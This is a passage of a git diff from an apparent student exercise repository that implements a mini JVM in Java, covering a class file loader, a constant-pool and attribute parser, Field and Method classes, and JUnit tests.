+import java.util.ArrayList;
+import java.util.List;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+		
+		
+		
+	}
+	
+	private byte[] loadClassFile(String clzFileName) {
+		
+		File f = new File(clzFileName);
+		
+		try {
+		
+			return IOUtils.toByteArray(new FileInputStream(f));
+			
+		} catch (IOException e) {			
+			e.printStackTrace();
+			return null;
+		}
+	}
+	
+	
+	
+	public void addClassPath(String path) {
+		if(this.clzPaths.contains(path)){
+			return;
+		}
+		
+		this.clzPaths.add(path);
+		
+	}
+	
+	
+	
+	public String getClassPath(){
+		return StringUtils.join(this.clzPaths,";");
+	}
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+	
+	
+	
+	// ------------------------------backup------------------------
+    public String getClassPath_V1(){
+		
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<this.clzPaths.size();i++){
+			buffer.append(this.clzPaths.get(i));
+			if(i<this.clzPaths.size()-1){
+				buffer.append(";");
+			}
+		}
+		return buffer.toString();
+	}
+	
+	private byte[] loadClassFile_V1(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+		
+	}
+
+
+	
+
+}
\ No newline at end of file
diff --git a/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/loader/ClassFileParser.java b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..4c2cef5504
--- /dev/null
+++ b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,101 @@
+package com.coderising.jvm.loader;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+		ClassFile clzFile = new ClassFile();
+		
+		String magicNum = iter.getBytesAsHexString(4);
+		if(!"cafebabe".equals(magicNum)){
+			throw new RuntimeException("Magic Number validation failure, this may not be a java class file.");
+		}
+		
+		int minVer = iter.nextU2AsInt();
+		int majVer = iter.nextU2AsInt();
+		System.out.println("magicNum="+magicNum+",minVer="+minVer+",majVer="+majVer);
+		clzFile.setMajorVersion(majVer);
+		clzFile.setMinorVersion(minVer);
+		ConstantPool  pool = parseConstantPool(iter);
+		clzFile.setConstPool(pool);
+		AccessFlag accFlag = parseAccessFlag(iter);
+		clzFile.setAccessFlag(accFlag);
+		ClassIndex clsIdx =  parseClassIndex(iter);
+		clzFile.setClassIndex(clsIdx);
+		return clzFile;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+		AccessFlag af = new AccessFlag(iter.nextU2AsInt());
+		return af;
+	}
+
+	private ClassIndex parseClassIndex(ByteCodeIterator iter) {
+		ClassIndex ci = new ClassIndex();
+		ci.setThisClassIndex(iter.nextU2AsInt());
+		ci.setSuperClassIndex(iter.nextU2AsInt());
+		return ci;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		ConstantPool cp = new ConstantPool();
+		cp.addConstantInfo(new NullConstantInfo());
+		int cpLen = iter.nextU2AsInt();
+		for(int i=0;i<cpLen-1;i++){
+			int typeFlag = iter.nextU1AsInt();
+			switch(typeFlag){
+			case ConstantInfo.CLASS_INFO: //class info
+				ClassInfo cf = new ClassInfo(cp);
+				cf.setUtf8Index(iter.nextU2AsInt());
+				cp.addConstantInfo(cf);
+				break;
+			case ConstantInfo.UTF8_INFO:	//UTF8 info
+				UTF8Info ui = new UTF8Info(cp);
+				ui.setLength(iter.nextU2AsInt());
+				ui.setValue(iter.getBytesAsString(ui.getLength()));
+				cp.addConstantInfo(ui);
+				break;
+			case ConstantInfo.STRING_INFO:
+				StringInfo ci = new StringInfo(cp);
+				ci.setIndex(iter.nextU2AsInt());
+				cp.addConstantInfo(ci);
+				break;
+			case ConstantInfo.FIELD_INFO:
+				FieldRefInfo fri = new FieldRefInfo(cp);
+				fri.setClassInfoIndex(iter.nextU2AsInt());
+				fri.setNameAndTypeIndex(iter.nextU2AsInt());
+				cp.addConstantInfo(fri);
+				break;
+			case ConstantInfo.METHOD_INFO:
+				MethodRefInfo mri = new MethodRefInfo(cp);
+				mri.setClassInfoIndex(iter.nextU2AsInt());
+				mri.setNameAndTypeIndex(iter.nextU2AsInt());
+				cp.addConstantInfo(mri);
+				break;
+			case ConstantInfo.NAME_AND_TYPE_INFO:
+				NameAndTypeInfo nti = new NameAndTypeInfo(cp);
+				nti.setIndex1(iter.nextU2AsInt());
+				nti.setIndex2(iter.nextU2AsInt());
+				cp.addConstantInfo(nti);
+				break;
+			default : throw new RuntimeException("Parse exception:"+typeFlag);
+			}
+		}
+		return cp;
+	}
+
+}
diff --git a/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/test/ClassFileloaderTest.java b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..3d707a4fb2
--- /dev/null
+++ b/group11/283091182/mini-jvm-week2-bk/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,202 @@
+package com.coderising.jvm.test;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+
+
+
+
+public class ClassFileloaderTest {
+
+	
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/coderising/jvm/test/EmployeeV1";
+	
+	static String path1 = "C:\\Users\\Administrator\\mygit\\coding2017\\liuxin\\bin";
+	static String path2 = "C:\\temp";
+	
+	static ClassFile clzFile = null;
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+		clzFile.print();
+	}
+	
+	
+	@Before
+	public void setUp() throws Exception {		 
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+	
+	@Test
+	public void testClassPath(){		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		loader.addClassPath(path2);
+		
+		String clzPath = loader.getClassPath();
+		
+		Assert.assertEquals(path1+";"+path2,clzPath);
+		
+	}
+	
+	@Test
+	public void testClassFileLength() {		
+		
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		byte[] byteCodes = loader.readBinaryCode(className);
+		
+		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		Assert.assertEquals(1056, byteCodes.length);
+		
+	}
+	
+	
+    @Test	
+	public void testMagicNumber(){
+    	ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		byte[] byteCodes = loader.readBinaryCode(className);
+		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
+		
+		
+		String acctualValue = this.byteToHexString(codes);
+		
+		Assert.assertEquals("cafebabe", acctualValue);
+	}
+    
+    
+    
+   	private String byteToHexString(byte[] codes ){
+   		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<codes.length;i++){
+   			byte b = codes[i];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+   	}
+    
+    /**
+     * ----------------------------------------------------------------------
+     */
+    
+    
+    @Test
+    public void testVersion(){    			
+		
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+		
+    }
+    
+    @Test
+    public void testConstantPool(){
+    	
+
+		ConstantPool pool = clzFile.getConstantPool();
+		
+		Assert.assertEquals(53, pool.getSize());
+	
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+			
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+			
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+		
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//抽查几个吧
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+		
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+    }
+    @Test
+    public void testClassIndex(){
+    	
+    	ClassIndex clzIndex = clzFile.getClzIndex();
+    	ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+    	ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+    	
+    	
+    	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+    	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+    }
+    
+   
+
+}
diff --git a/group11/283091182/mini-jvm/com/coderising/jvm/attr/AttributeInfo.java b/group11/283091182/mini-jvm/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..88f60c77f6
--- /dev/null
+++ b/group11/283091182/mini-jvm/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group11/283091182/mini-jvm/com/coderising/jvm/attr/CodeAttr.java b/group11/283091182/mini-jvm/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..f25743fb0d
--- /dev/null
+++ b/group11/283091182/mini-jvm/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,86 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	//private ByteCodeCommand[] cmds ;
+	//public ByteCodeCommand[] getCmds() {
+	//	return cmds;
+	//}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		//this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile,ConstantPool pool, ByteCodeIterator iter){
+		int attrNameIdx = iter.nextU2AsInt();
+		System.out.println("AttrName="+pool.getUTF8String(attrNameIdx));
+		int attrLen = iter.nextU4AsInt();
+		int maxStack = iter.nextU2AsInt();
+		int maxLocal = iter.nextU2AsInt();
+		int codeLen = iter.nextU4AsInt();
+		String code = iter.getBytesAsHexString(codeLen);
+		CodeAttr codeAttr = new CodeAttr(attrNameIdx, attrLen, maxStack, maxLocal, codeLen, code);
+		
+		int exceptionTblLen = iter.nextU2AsInt();
+		if(exceptionTblLen>0){
+			throw new RuntimeException("ExceptionTable not supported!");
+		}
+		int subAttrCount = iter.nextU2AsInt();
+		for(int j=0;j<subAttrCount;j++){
+			int subAttrNameIdx = iter.nextU2AsInt();
+			String subAttrName = pool.getUTF8String(subAttrNameIdx);
+			iter.back(2);
+			if(CodeAttr.LINE_NUM_TABLE.equals(subAttrName)){
+				LineNumberTable lineNumTable= LineNumberTable.parse(iter);
+				codeAttr.setLineNumberTable(lineNumTable);
+			}else if(CodeAttr.LOCAL_VAR_TABLE.equals(subAttrName)){
+				LocalVariableTable localVarTable = LocalVariableTable.parse(iter);
+				codeAttr.setLocalVariableTable(localVarTable);
+			}else if(CodeAttr.STACK_MAP_TABLE.equals(subAttrName)){
+				StackMapTable stackMapTable = StackMapTable.parse(iter);
+				codeAttr.setStackMapTable(stackMapTable);
+			}
+			
+		}
+		return codeAttr;
+	}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+	public String toString(ConstantPool pool){
+		return "";
+	}
+	
+	
+	
+}
\ No newline at end of file
diff --git a/group11/283091182/mini-jvm/com/coderising/jvm/attr/LineNumberTable.java b/group11/283091182/mini-jvm/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..5699a9b937
--- /dev/null
+++ b/group11/283091182/mini-jvm/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,64 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		int nameIdx = iter.nextU2AsInt();
+		int attrLen = iter.nextU4AsInt();
+		LineNumberTable t = new LineNumberTable(nameIdx, attrLen);
+		int itemCount = iter.nextU2AsInt();
+		for(int i=0;i<itemCount;i++){
+			LineNumberItem item = new LineNumberItem();
+			item.setStartPC(iter.nextU2AsInt());
+			item.setLineNum(iter.nextU2AsInt());
+			t.addLineNumberItem(item);
+		}
+		return t;
+	}
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+		
+	}
+	
+	
+
+}
diff --git a/group11/283091182/mini-jvm/com/coderising/jvm/attr/LocalVariableItem.java b/group11/283091182/mini-jvm/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..962c3b8bc4
--- /dev/null
+++ b/group11/283091182/mini-jvm/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group11/283091182/mini-jvm/com/coderising/jvm/attr/LocalVariableTable.java b/group11/283091182/mini-jvm/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..d6735c1bbd
--- /dev/null
+++ b/group11/283091182/mini-jvm/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+		int nameIdx = iter.nextU2AsInt();
+		int attrLen = iter.nextU4AsInt();
+		LocalVariableTable t = new LocalVariableTable(nameIdx, attrLen);
+		int itemCount = iter.nextU2AsInt();
+		for(int i=0;i<itemCount;i++){
+			LocalVariableItem item = new LocalVariableItem();
+			item.setStartPC(iter.nextU2AsInt());
+			item.setLength(iter.nextU2AsInt());
+			item.setNameIndex(iter.nextU2AsInt());
+			item.setDescIndex(iter.nextU2AsInt());
+			item.setIndex(iter.nextU2AsInt());
+			t.addLocalVariableItem(item);
+		}
+		return t;
+	}
+	
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+}
diff --git a/group11/283091182/mini-jvm/com/coderising/jvm/attr/StackMapTable.java b/group11/283091182/mini-jvm/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..4f710dc757
--- /dev/null
+++ b/group11/283091182/mini-jvm/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2AsInt();
+		int len = iter.nextU4AsInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.getBytesAsString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group11/283091182/mini-jvm/com/coderising/jvm/clz/ClassFile.java b/group11/283091182/mini-jvm/com/coderising/jvm/clz/ClassFile.java
index 650ca8375d..2a8dfb6123 100644
--- a/group11/283091182/mini-jvm/com/coderising/jvm/clz/ClassFile.java
+++ b/group11/283091182/mini-jvm/com/coderising/jvm/clz/ClassFile.java
@@ -1,7 +1,12 @@
 package com.coderising.jvm.clz;
 
+import java.util.ArrayList;
+import java.util.List;
+
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
 
 public class ClassFile {
 	
@@ -11,7 +16,8 @@ public class ClassFile {
 	private AccessFlag accessFlag;
 	private ClassIndex clzIndex;
 	private ConstantPool pool;
-	
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
 	
 	public ClassIndex getClzIndex() {
 		return clzIndex;
@@ -48,7 +54,18 @@ public void setClassIndex(ClassIndex clzIndex) {
 		this.clzIndex = clzIndex;		
 	}
 	
-	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
 	
 	
 	public void print(){
@@ -63,13 +80,23 @@ public void print(){
 		
 	}
 	
-	private String getClassName(){
+	public String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	private String getSuperClassName(){
+	public String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		
+		
+		return null;
+	}
+	public Method getMainMethod(){
+		
+		return null;
+	}
 }
diff --git a/group11/283091182/mini-jvm/com/coderising/jvm/field/Field.java b/group11/283091182/mini-jvm/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..29ef91fbd3
--- /dev/null
+++ b/group11/283091182/mini-jvm/com/coderising/jvm/field/Field.java
@@ -0,0 +1,50 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	public String toString() {
+		String name = ((UTF8Info)pool.getConstantInfo(this.nameIndex)).getValue();
+		
+		String desc = ((UTF8Info)pool.getConstantInfo(this.descriptorIndex)).getValue();
+		return name +":"+ desc;
+	}
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		
+		int accessFlag = iter.nextU2AsInt();
+		int nameIndex = iter.nextU2AsInt();
+		int descIndex = iter.nextU2AsInt();
+		int attribCount = iter.nextU2AsInt();
+		//System.out.println("field attribute count:"+ attribCount);
+		
+		Field f = new Field(accessFlag, nameIndex, descIndex,pool);
+		
+		if(attribCount > 0){
+			throw new RuntimeException("Field Attribute has not been implemented");
+		}
+		
+		return f;
+	}
+
+}
diff --git a/group11/283091182/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java b/group11/283091182/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java
index 514d85e08f..4dcd1d8040 100644
--- a/group11/283091182/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java
+++ b/group11/283091182/mini-jvm/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -84,4 +84,8 @@ private String byteToHexString(byte[] codes ){
 		}
 		return buffer.toString();
 	}
+	
+	public void back(int offset){
+		this.pos-=offset;
+	}
 }
diff --git a/group11/283091182/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java b/group11/283091182/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java
index 4c2cef5504..be823bf23f 100644
--- a/group11/283091182/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group11/283091182/mini-jvm/com/coderising/jvm/loader/ClassFileParser.java
@@ -12,6 +12,8 @@
 import com.coderising.jvm.constant.NullConstantInfo;
 import com.coderising.jvm.constant.StringInfo;
 import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
 
 public class ClassFileParser {
 
@@ -35,6 +37,9 @@ public ClassFile parse(byte[] codes) {
 		clzFile.setAccessFlag(accFlag);
 		ClassIndex clsIdx =  parseClassIndex(iter);
 		clzFile.setClassIndex(clsIdx);
+		parseInterfaces(iter,pool,clzFile);
+		parseFields(iter, pool, clzFile);
+		parseMethods(iter, pool, clzFile);
 		return clzFile;
 	}
 
@@ -97,5 +102,31 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 		}
 		return cp;
 	}
+	
+	private void parseInterfaces(ByteCodeIterator iter, ConstantPool pool, ClassFile clz){
+		int interfaceCount = iter.nextU2AsInt();
+		System.out.println("Total number of interface="+interfaceCount);
+		for(int i=0;i<interfaceCount;i++){
+			System.out.println("Parse Interface="+iter.nextU2AsInt());
+		}
+	}
+
+	private void parseFields(ByteCodeIterator iter, ConstantPool pool, ClassFile clz){
+		int fieldCount = iter.nextU2AsInt();
+		System.out.println("Total number of fields="+fieldCount);
+		for(int i=0;i<fieldCount;i++){
+			Field field = Field.parse(pool, iter);
+			clz.addField(field);
+		}
+	}
+	
+	private void parseMethods(ByteCodeIterator iter, ConstantPool pool, ClassFile clz){
+		int methodCount = iter.nextU2AsInt();
+		System.out.println("Total number of methods="+methodCount);
+		for(int i=0;i<methodCount;i++){
+			Method method = Method.parse(clz,pool, iter);
+			clz.addMethod(method);
+		}
+	}
 
 }
diff --git a/group11/283091182/mini-jvm/com/coderising/jvm/method/Method.java b/group11/283091182/mini-jvm/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..bdf8284c3c
--- /dev/null
+++ b/group11/283091182/mini-jvm/com/coderising/jvm/method/Method.java
@@ -0,0 +1,93 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.clz.ClassFile;
+//import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.attr.LineNumberTable;
+import com.coderising.jvm.attr.LocalVariableTable;
+import com.coderising.jvm.attr.StackMapTable;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	
